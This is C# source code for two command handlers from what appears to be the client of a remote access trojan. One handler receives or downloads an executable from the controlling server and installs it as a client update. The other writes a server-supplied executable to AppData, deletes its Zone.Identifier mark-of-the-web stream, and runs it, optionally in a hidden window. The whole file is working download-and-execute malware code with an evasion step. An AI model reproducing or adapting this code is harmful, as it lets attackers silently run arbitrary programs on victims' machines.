public static void HandleUpdate(Packets.ServerPackets.Update command, Client client)
{
// i dont like this updating... if anyone has a better idea feel free to edit it
if (string.IsNullOrEmpty(command.DownloadURL))
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName);
try
{
if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z')
throw new Exception("No executable file");
FileSplit destFile = new FileSplit(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{
new Packets.ClientPackets.Status(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
client);
return;
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished
{
new Packets.ClientPackets.Status("Updating...").Execute(client);
SystemCore.UpdateClient(client, filePath);
}
}
catch (Exception ex)
{
DeleteFile(filePath);
new Packets.ClientPackets.Status(string.Format("Update failed: {0}", ex.Message)).Execute(client);
}
return;
}
new Thread(() =>
{
new Packets.ClientPackets.Status("Downloading file...").Execute(client);
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
Helper.Helper.GetRandomFilename(12, ".exe"));
try
{
using (WebClient c = new WebClient())
{
c.Proxy = null;
c.DownloadFile(command.DownloadURL, tempFile);
}
}
catch
{
new Packets.ClientPackets.Status("Download failed!").Execute(client);
return;
}
new Packets.ClientPackets.Status("Updating...").Execute(client);
SystemCore.UpdateClient(client, tempFile);
}).Start();
}
public static void HandleUploadAndExecute(Packets.ServerPackets.UploadAndExecute command, Client client)
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
command.FileName);
try
{
if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z')
throw new Exception("No executable file");
FileSplit destFile = new FileSplit(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{
new Packets.ClientPackets.Status(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
client);
return;
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
{
DeleteFile(filePath + ":Zone.Identifier");
ProcessStartInfo startInfo = new ProcessStartInfo();
if (command.RunHidden)
{
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
}
startInfo.UseShellExecute = command.RunHidden;
startInfo.FileName = filePath;
Process.Start(startInfo);
new Packets.ClientPackets.Status("Executed File!").Execute(client);
}
}
catch (Exception ex)
{
DeleteFile(filePath);
new Packets.ClientPackets.Status(string.Format("Execution failed: {0}", ex.Message)).Execute(client);
}
}